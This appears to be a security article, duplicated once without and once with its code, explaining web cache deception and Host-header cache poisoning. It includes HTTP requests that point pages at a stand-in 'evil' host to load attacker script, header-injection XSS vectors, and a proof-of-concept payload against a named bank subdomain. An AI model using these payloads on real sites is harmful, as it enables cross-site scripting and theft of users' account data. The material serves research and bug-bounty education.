Web Cache Deception Attack
In the chapter on identity theft protection, I talked about preventive measures, the first of which is comprehensive security, which includes not only device protection, but also knowledge, skills and habits.
One of these habits is to check all the links you get for phishing, to prevent situations where an attacker forces you to go to a fake site instead of the original one. The easiest way is to offer you facebook.com instead of facebook.com. This substitution will be easily detected by any anti-phishing system or your attention.
Many advise paying attention to the https certificate, but I would not overestimate its importance, on the black market for good money you can get an EV certificate for a phishing site, which browsers highlight in green.
The example above is child-level phishing based on social engineering, but phishing wouldn't be so dangerous if it didn't have far more effective methods in its arsenal. Usually they are based on various vulnerabilities and work until they are discovered by developers or researchers, but until that moment they work with incredible efficiency.
One of these methods was the use of unicode characters, which are visually similar to Latin, but for the browser, of course, these are different characters. In 2017, researcher Zheng Xudong registered a domain that was visually indistinguishable from apple.com, but in fact consisted entirely of unicode characters. This attack was effective against users of Chrome, Firefox and Opera browsers. To date, the problem has been fixed by browser developers.
But there is an attack that is much more effective than the one described above and still incredibly dangerous, this is web cache deception. It was discovered in 2017 by Omer Gil, an employee of the Israeli company EY Hacktics Advanced Security Center.
The essence of the attack is very simple: when you access a site and request content that is missing on it, for example, an image or a text document, the site should notify you of the absence of the requested content with a 404 error. But sometimes, due to incorrect settings, this does not happen, at the same time, the site caches your data.
Since PayPal has already fixed the problem and did not object to the disclosure of data about the problem, Gil explains how the attack works using the example of PayPal. If the user contacts PayPal and requests a file that does not exist on the server, for example,https://www.paypal.com/myaccount/home/attack.css , then the cache will be created for https://www.paypal.com/myaccount/home/ . In this case, the cached page will also include information about the user: their account balance, transaction dates, email address, last four digits of a bank card, and so on.
The principle of the attack is best understood in the demo video, where the researcher receives data from his PayPal account. In the first video, he shows the correct link to the PayPal account setup page. Then he clicks on a link to a non-existent file, but the site ignores part of the link and transfers it to the PayPal profile settings.
What is dangerous in this? The fact that PayPal caches data and re-clicking on this link by an attacker allowed him to get the victim's cached page.
In the second video, the researcher first follows the link from web cache deception and caches his PayPal account information. Then he launches the browser in incognito mode, and, imitating the actions of an attacker, follows the same link, receiving information from the previously cached page.
At the same time, the researcher notes that not only JS or CSS files can be used for attacks. Gil discovered that over 40 file extensions are suitable for cache cheating: aif, aiff, au, avi, bin, bmp, cab, carb, cct, cdf, class, css, doc, dcr, dtd, gcf, gff, gif, grv , hdml, hqx, ico, ini, jpeg, jpg, js, mov, mp3, nc, pct, ppc, pws, swa, swf, txt, vbs, w32, wav, wbmp, wml, wmlc, wmls, wmlsc, xsd .zip.
“In the case of the other two companies, I was able to completely seize control of the user account, since the cache contained a secret question or session ID,” the specialist told reporters from Bleeping Computer. - It is important that this is not a vulnerability in some specific cache component, technology or web server. It's just an attack vector. It can run on .NET, PHP, Java. It can run on IIS, Apache and other web servers. It can also work with various cache components, including CDNs, reverse proxies, and load balancers.”
PayPal paid the researcher $3,000 for the discovered vulnerability. Omer Gil checked large sites for vulnerability to this attack, and 10% of the sites tested managed to carry out web cache deception.
If in the case of PayPal, an attacker using a web cache deception attack could only obtain personal data, then in many other cases, using an attack, it was possible to gain access to an account. The web cache deception attack can also be used for deanonymization, since in some cases the victim's IP address is cached, even his passport data. The incredible danger of web cache deception is due to two factors: the first - the user opens a genuine site, no fakes or substitutions, the second - he just needs to open the site, no additional actions are required from him.
There are various examples of cache configurations and fine-tuning, however, there are also vulnerable caching mechanisms, which I will discuss. This gives rise to attacks such as cache deception and cache poisoning.
Features of some web applications
Many sites are configured in such a way that they insert the current domain into the page. That is, for this it is enough that there is a similar fragment of the nginx config:
And the web application itself used $_SERVER[‘HTTP_HOST’]or its equivalent.
When visiting the mysite/index.php page, the page will have code like this:
However, if you send an HTTP request with your Host header
The page will contain the following data:
If we change the domain name, then the paths for loading resources or links to pages will change. I think you have seen similar sites, but you understand that you cannot send a link to the user with your Host header.
A few words about caching
Caching can be divided into several modes:
Caching files without parameters
https://mysite/pic.jpg- will get into the cache
https://mysite/pic.jpg?myparam=test- it will not get into the cache, like other pages with parameters in the link.
Ignoring parameters
Returns the request cache https://mysite/pic.jpg
Caching each unique URL
Each unique link has its own cache.
That is why some of the resources cache the first access to the page, if there were no such parameters before.
Cache poisoning
The idea of the attack is that by replacing the Host header we additionally create a unique link that has not yet been present in the web application
If such a link gets into the cache (and in some cases it does) - we can load js from a resource that we control!
By giving the link to the https://mysite/?MyUniqParam=test1337victim, we automatically get the opportunity to perform an XSS attack, since our domain is already saved on the page
Or, for example, like this:
And a few more tricks
Another way to pass a header is to access a resource like this:
If the user data that enters the page does not allow an attack, you can try to change the content of the header.
For starters, it's worth trying to make a classic HTML Injection, passing some XSS vector as the header value.
But often another trick can help. Some web servers ignore the contents of the Host header after the colon, which may also end up in the page content.
Therefore, first of all, try to send a request like this:
If all the same, such characters are filtered, you can try adding the "@" symbol:
In the generated link, this allows you to discard some of the data - mysite will go as a login for basic auth, and evil will become the final host
. Another trick, if nothing helped, you can try to append your data with a space:
In some cases, the X-Forwarded-Host and Forwarded headers may overwrite the current Host value. The title can simply be appended along with a legitimate title:
The Forwarded header looks a little different, but the essence is the same:
If caching is configured for certain directories or file formats, you can also try to exploit the attack by creating a unique link not with parameters to the page, but by adding an extension, such as css or js. Or try accessing directories that may have aggressive caching configured, such as /static/, /js/, /upload/.
The conclusion is that not all caches are equally useful. In addition to the Host header, you can try to use other data that gets on the page, such as User-agent or Referer. Due to the peculiarities of web applications, it is possible to poison the cache, as a result, to carry out attacks on clients. Try
Examples from wild-life. Bank vulnerabilities
Almost all *.rocketbank.ru sites based on readymag.rocketbank.ru are vulnerable to Web Cache Deception and XSS.
Request example:
HTTP response:
This HTTP response gets into the web server cache and is available without the X-Forwarded-Host
PoC
header Script to automatically infect the cache with a request, with the current HTTP headers.
Sometimes it is necessary to refresh the infected page several times.
In the chapter on identity theft protection, I talked about preventive measures, the first of which is comprehensive security, which includes not only device protection, but also knowledge, skills and habits.
One of these habits is to check all the links you get for phishing, to prevent situations where an attacker forces you to go to a fake site instead of the original one. The easiest way is to offer you facebook.com instead of facebook.com. This substitution will be easily detected by any anti-phishing system or your attention.
Many advise paying attention to the https certificate, but I would not overestimate its importance, on the black market for good money you can get an EV certificate for a phishing site, which browsers highlight in green.
The example above is child-level phishing based on social engineering, but phishing wouldn't be so dangerous if it didn't have far more effective methods in its arsenal. Usually they are based on various vulnerabilities and work until they are discovered by developers or researchers, but until that moment they work with incredible efficiency.
One of these methods was the use of unicode characters, which are visually similar to Latin, but for the browser, of course, these are different characters. In 2017, researcher Zheng Xudong registered a domain that was visually indistinguishable from apple.com, but in fact consisted entirely of unicode characters. This attack was effective against users of Chrome, Firefox and Opera browsers. To date, the problem has been fixed by browser developers.
But there is an attack that is much more effective than the one described above and still incredibly dangerous, this is web cache deception. It was discovered in 2017 by Omer Gil, an employee of the Israeli company EY Hacktics Advanced Security Center.
The essence of the attack is very simple: when you access a site and request content that is missing on it, for example, an image or a text document, the site should notify you of the absence of the requested content with a 404 error. But sometimes, due to incorrect settings, this does not happen, at the same time, the site caches your data.
Since PayPal has already fixed the problem and did not object to the disclosure of data about the problem, Gil explains how the attack works using the example of PayPal. If the user contacts PayPal and requests a file that does not exist on the server, for example,https://www.paypal.com/myaccount/home/attack.css , then the cache will be created for https://www.paypal.com/myaccount/home/ . In this case, the cached page will also include information about the user: their account balance, transaction dates, email address, last four digits of a bank card, and so on.
The principle of the attack is best understood in the demo video, where the researcher receives data from his PayPal account. In the first video, he shows the correct link to the PayPal account setup page. Then he clicks on a link to a non-existent file, but the site ignores part of the link and transfers it to the PayPal profile settings.
What is dangerous in this? The fact that PayPal caches data and re-clicking on this link by an attacker allowed him to get the victim's cached page.
In the second video, the researcher first follows the link from web cache deception and caches his PayPal account information. Then he launches the browser in incognito mode, and, imitating the actions of an attacker, follows the same link, receiving information from the previously cached page.
“In the case of the other two companies, I was able to completely seize control of the user account, since the cache contained a secret question or session ID,” the specialist told reporters from Bleeping Computer. - It is important that this is not a vulnerability in some specific cache component, technology or web server. It's just an attack vector. It can run on .NET, PHP, Java. It can run on IIS, Apache and other web servers. It can also work with various cache components, including CDNs, reverse proxies, and load balancers.”
PayPal paid the researcher $3,000 for the discovered vulnerability. Omer Gil checked large sites for vulnerability to this attack, and 10% of the sites tested managed to carry out web cache deception.
If in the case of PayPal, an attacker using a web cache deception attack could only obtain personal data, then in many other cases, using an attack, it was possible to gain access to an account. The web cache deception attack can also be used for deanonymization, since in some cases the victim's IP address is cached, even his passport data. The incredible danger of web cache deception is due to two factors: the first - the user opens a genuine site, no fakes or substitutions, the second - he just needs to open the site, no additional actions are required from him.
There are various examples of cache configurations and fine-tuning, however, there are also vulnerable caching mechanisms, which I will discuss. This gives rise to attacks such as cache deception and cache poisoning.
Features of some web applications
Many sites are configured in such a way that they insert the current domain into the page. That is, for this it is enough that there is a similar fragment of the nginx config:
Code:
server {
listen 80;
server_name _; // принимать любой домен
...
}When visiting the mysite/index.php page, the page will have code like this:
Code:
<script src='https://mysite/assets/js/jquery.js'></script>
Code:
GET /index.php HTTP/1.1
Host: evil
Code:
<script src='https://evil/assets/js/jquery.js'></script>A few words about caching
Caching can be divided into several modes:
Caching files without parameters
https://mysite/pic.jpg- will get into the cache
https://mysite/pic.jpg?myparam=test- it will not get into the cache, like other pages with parameters in the link.
Ignoring parameters
Returns the request cache https://mysite/pic.jpg
Caching each unique URL
Each unique link has its own cache.
That is why some of the resources cache the first access to the page, if there were no such parameters before.
Cache poisoning
The idea of the attack is that by replacing the Host header we additionally create a unique link that has not yet been present in the web application
Code:
GET /?MyUniqParam=test1337 HTTP/1.1
Host: evil.comBy giving the link to the https://mysite/?MyUniqParam=test1337victim, we automatically get the opportunity to perform an XSS attack, since our domain is already saved on the page
Code:
<script src='https://evil.com/assets/js/jquery.js'></script>And a few more tricks
Another way to pass a header is to access a resource like this:
Code:
GET https://evil/?myparam=test
Host: mysiteIf the user data that enters the page does not allow an attack, you can try to change the content of the header.
For starters, it's worth trying to make a classic HTML Injection, passing some XSS vector as the header value.
But often another trick can help. Some web servers ignore the contents of the Host header after the colon, which may also end up in the page content.
Therefore, first of all, try to send a request like this:
Code:
Host: mysite:"><xss>
Code:
Host: mysite:@evil. Another trick, if nothing helped, you can try to append your data with a space:
Code:
Host: mysite "><xss>
Code:
GET /?myparam=test HTTP/1.1
Host: mysite
X-Forwarded-Host: evil
Code:
GET /?myparam=test HTTP/1.1
Host: mysite
Forwarded: host=evilThe conclusion is that not all caches are equally useful. In addition to the Host header, you can try to use other data that gets on the page, such as User-agent or Referer. Due to the peculiarities of web applications, it is possible to poison the cache, as a result, to carry out attacks on clients. Try
Examples from wild-life. Bank vulnerabilities
Almost all *.rocketbank.ru sites based on readymag.rocketbank.ru are vulnerable to Web Cache Deception and XSS.
Request example:
Code:
GET /?xx HTTP/1.1
Host: wknd.rocketbank.ru
X-Forwarded-Host: cacheattack'"><script>alert(document.domain)</script>
Code:
<link rel="next" href="http://cacheattack'"><script>alert(document.domain)</script>/friends/">
<link rel="canonical" href="http://cacheattack'"><script>alert(document.domain)</script>/">
<meta content="203852619785949" property="fb:app_id" >
<meta content="website" property="og:type" >
<meta content="http://cacheattack'"><script>alert(document.domain)</script>/" property="og:url" >PoC
header Script to automatically infect the cache with a request, with the current HTTP headers.
Sometimes it is necessary to refresh the infected page several times.
Code:
https://blackfan.ru/bugbounty/webcachedeception.php?url=https://wknd.rocketbank.ru/?cacheattack4&payload=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E```